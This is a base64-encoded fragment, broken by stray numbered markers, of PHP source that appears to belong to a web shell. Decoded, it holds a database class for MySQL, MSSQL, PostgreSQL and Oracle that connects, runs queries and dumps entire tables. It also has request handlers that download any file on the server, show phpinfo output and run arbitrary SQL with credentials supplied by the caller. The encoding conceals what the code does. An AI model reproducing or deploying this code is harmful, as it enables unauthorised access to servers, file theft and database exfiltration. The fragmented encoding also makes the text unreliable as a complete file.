JG51bV9yb3dzOw0KIHZhciAkbnVtX2ZpZWxkczsNCiB2YXIgJGR1bXA7DQoNCiBmdW5jdGlvbiBjb25uZWN 0KCkNCiAgew0KICAJc3dpdGNoKCR0aGlzLT5kYikNCiAgICAgew0KICAJIGNhc2UgJ015U1FMJzoNCiAgCS AgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogIAkgIGlmKCFmd W5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0 aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR 0aGlzLT5wYXNzKTsNCiAgCSAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMT sNCiAgCSBicmVhazsNCiAgICAgY2FzZSAnTVNTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpK SB7ICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nv bm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHR oaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgICAgIGlmKC R0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ1Bvc3RncmVTU UwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzU0MzInOyB9DQog ICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2V yPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy 0+YmFzZS4iJyI7DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwO w0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgIGlmKGlzX3Jl c291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICd PcmFjbGUnOg0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQogIC AgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0a GlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7 DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7DQogIH0NCg0KIGZ1bmN0aW9uIHNlbGVjdF9 kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIG lmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNC iAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogIAkgaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+ YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3R ncmVTUUwnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgIC ByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gc XVlcnkoJHF1ZXJ5KQ0KICB7DQogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgk dGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmV zPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KIC AgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNC iAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMp KSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAJYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0 KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3NxbF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5lY3 Rpb24pKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7DQogICAgICByZ XR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4g MCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3J
4.
lU1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb2 4sJHF1ZXJ5KSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpc y0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQHBnX251 bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmV hazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZS gkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRd WVyeSBwYXJzZSBlcnJvcic7DQogICAgICB9DQogICAgIGVsc2UNCiAgICAgIHsNCiAgICAgIGlmKEBvY2ll eGVjdXRlKCR0aGlzLT5yZXMpKQ0KICAgICAgIHsNCiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJ lcykgIT0gMCkgcmV0dXJuIDI7DQogICAgICAgcmV0dXJuIDE7DQogICAgICAgfQ0KICAgICAgJGVycm9yID 0gQG9jaWVycm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107DQogICAgICB9D QogICAgYnJlYWs7DQogICAgfQ0KICByZXR1cm4gMDsNCiAgfQ0KIGZ1bmN0aW9uIGdldF9yZXN1bHQoKQ0K ICB7DQogICAkdGhpcy0+cm93cz1hcnJheSgpOw0KICAgJHRoaXMtPmNvbHVtbnM9YXJyYXkoKTsNCiAgICR 0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgIC B7DQogIAljYXNlICdNeVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpc y0+cmVzKTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AbXlzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsN CiAgCSB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXM tPnJlcykpKTsNCiAgCSBAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm 51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuI DE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG1zc3Fs X251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGR zKCR0aGlzLT5yZXMpOw0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZX RjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNC iAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJv d3NbMF0pOyByZXR1cm4gMTt9Ow0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAJICR 0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZH M9QHBnX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c 1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQHBnX2ZyZWVfcmVzdWx0KCR0aGlz LT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cyg kdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KIC AgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsNCiAgICAgd2hpbGUoZmFsc 2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5u dW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRoaXM tPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dX JuIDE7fQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZHVtcCgkd GFibGUpDQogIHsNCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bXA9YXJy YXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0 tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl0gPSAnIy MgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9ICcjIyBEY XRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0 YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0 tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIA kgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTXlTUUwgZHVtcCc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY 2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogIAkg aWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJICR0aGlzLT5kdW1wW10gPSAkdGhpcy0 +cm93c1swXVsnQ3JlYXRlIFRhYmxlJ107DQogICAgICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyK DApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRo aXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyR pKyspDQogIAkgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT 5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogIAkgICR0aGlzLT5kd W1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5j b2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk 7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgJHRoaXMtPmR1bXBbMF 0gPSAnIyMgTVNTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0Y WJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAg CSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGh pcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KT t9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiL CAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93
5.
c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICA gICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBQb3N0Z3JlU1FMIGR1bXAnOw0KICAgICBpZigkdGhpcy0+cXVlcn koJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZ XN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogIAkg IHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVs ka10gPSBAYWRkc2xhc2hlcygkdik7fQ0KICAJICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJH RhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb 2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicmVhazsNCiAgICBj YXNlICdPcmFjbGUnOg0KICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOw0KICAgICA gJHRoaXMtPmR1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsNCiAgICBicmVhazsNCiAgICBkZW ZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsNCiAgfQ0KI GZ1bmN0aW9uIGNsb3NlKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdN eVNRTCc6DQogIAkgQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB jYXNlICdNU1NRTCc6DQogICAgIEBtc3NxbF9jbG 9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogI CAgIEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xl JzoNCiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgfQ0KICB 9DQogZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew 0KICAJY2FzZSAnTXlTUUwnOg0KICAJIHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzK TsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIHJldHVybiBAbXNzcWxfYWZmZWN0ZWRf cm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgcmV 0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYW NsZSc6DQogICAgIHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgZ GVmYXVsdDoNCiAgICAgcmV0dXJuIDA7DQogICAgYnJlYWs7DQogICAgfQ0KICB9DQogfQ0KaWYoIWVtcHR5 KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9 QT1NUWydkX25hbWUnXSkpDQogew0KICBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZF9uYW1lJ10sInIiKS kgeyBlcnIoMSwkX1BPU1RbJ2RfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICBlbHNlDQogICB7D QogICAgQG9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10p Ow0KICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOw0 KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgIC Bjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgaWYgKCFlb XB0eSgkY29udGVudF9lbmNvZGluZykpIHsgaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRl bnRfZW5jb2RpbmcpOyB9DQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7DQogICA gaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW 1lLiJcIjsiKTsNCiAgICBlY2hvICRmaWxlZHVtcDsNCiAgICBleGl0KCk7DQogICB9DQogfQ0KaWYoaXNzZ XQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1j ZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9 TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQ0KaWYgKCFlbXB0eSgkX1 BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZGJfcXVlcnkiKQ0KIHsNCiBlY2hvICRoZWFkOw0KI CRzcWwgPSBuZXcgbXlfc3FsKCk7DQogJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAkc3FsLT5ob3N0 ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogJHN xbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXT sNCiAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJ F9QT1NUWydkYl9xdWVyeSddKTsNCiBlY2hvICc8Ym9keSBiZ2NvbG9yPUJsYWNrPic7DQogaWYoISRzcWwt PmNvbm5lY3QoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI gY29sb3I9V2hpdGU+PGI+Q2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyPC9iPjwvZm9udD48L2Rpdj4iOw 0KICBlbHNlDQogICB7DQogICBpZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgZ WNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+ PGI+Q2FuJ3Qgc2VsZWN0IGRhdGFiYXNlPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZWxzZQ0KICAgIHsNCiA gICBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KQ0KICAgICB7DQogICAgICBpZihzdHJsZW4oJH F1ZXJ5KT41KQ0KICAgICAgew0KICAgICAgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb 3I9V2hpdGU+PGI+UXVlcnkjIi4kbnVtLiIgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9U RVMpLiI8L2I+PC9mb250Pjxicj4iOw0KICAgICAgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpDQogICA gICAgew0KICAgICAgIGNhc2UgJzAnOg0KICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dG QgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJHNxbC0+ZXJyb 3IuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICBicmVhazsNCiAgICAgICBjYXNl ICcxJzoNCiAgICAgICBpZigkc3FsLT5nZXRfcmVzdWx0KCkpDQogICAgICAgIHsNCiAgICAgICAJZWNobyA iPHRhYmxlIHdpZHRoPTEwMCUgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogIC AgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1ucyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtb
6.
HNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAJJGtleXMgPSBAaW1wbG9kZSgiJm5ic3A7 PC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZ uYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY2hvICI8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2 xvcj1XaGl0ZT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L 2I+PC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsr KQ0KICAgICAgICAgew0KICAgICAgICAgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWw tPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgICAkdm FsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9V mVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOw0KICAgICAgICAgZWNobyAnPHRyPjx0 ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A 7PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogIC AgICAgIH0NCiAgICAgICBicmVhazsNCiAgICAgICBjYXNlICcyJzoNCiAgICAgICAkYXIgPSAkc3FsLT5hZ mZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7DQogICAgICAgZWNobyAiPHRh YmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmF mZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCi AgICAgICBicmVhazsNCiAgICAgICB9DQogICAgICB9DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPGJyP jxkaXYgYWxpZ249bGVmdCBpZD0nbic+PHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTYwIGJvcmRlcj0wIGNl bGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KICAgIGVjaG8gIjx0cj48dGQgYWxpZ249Y2VudGVyPjx iPlNob3cgRGF0YWJhc2U8L2I+PC90ZD48dGQgYWxpZ249Y2VudGVyPjxiPlNob3cgVGFibGVzPC9iPjwvdG Q+PC90cj4iOw0KICAgIGVjaG8gIjx0cj48dGQ+PHRleHRhcmVhIGNvbHM9NTAgcm93cz02IG5hbWU9cXVlc nlfZGI+IjsNCiAgICAkcXVlcnlfZGIgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVM7Iik7DQogICAg d2hpbGUgKCRxdWVyeV9kYl9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfZGIpKQ0KICAgIHsNCiA gICAJZWNobyAkcXVlcnlfZGJfcm93WzBdLiJcbiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGV4dGFyZWE+PC 90ZD48dGQ+PGRpdiBhbGlnbj1yaWdodD48dGV4dGFyZWEgY29scz02MCByb3dzPTYgbmFtZT1xdWVyeV90Y WJsZXM+IjsNCiAgICBpZiAoKCRfUE9TVFsnbXlzcWxfZGInXSkgJiYgJHNxbC0+c2VsZWN0X2RiKCkpDQog ICAgew0KICAgICAkcXVlcnlfdGFibGVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTOyIpOw0KICAgICB 3aGlsZSAoJHF1ZXJ5X3RhYmxlc19yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfdGFibGVzKSkNCi AgICAgew0KICAgICAJZWNobyAkcXVlcnlfdGFibGVzX3Jvd1swXS4iXG4iOw0KICAgICB9DQogICAgfQ0KI CAgIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+IjsNCiAgIH0NCiBl Y2hvICI8YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQogZWNobyBpbignaGlkZGVuJywnZGI nLDAsJF9QT1NUWydkYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl 9zZXJ2ZXInXSk7DQogZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7D QogZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogZWNobyBpbign aGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXl zcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3 F1ZXJ5Jyk7DQogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCiBlY2hvICI8Zm9udCBmYWNlPVZlcmRhb 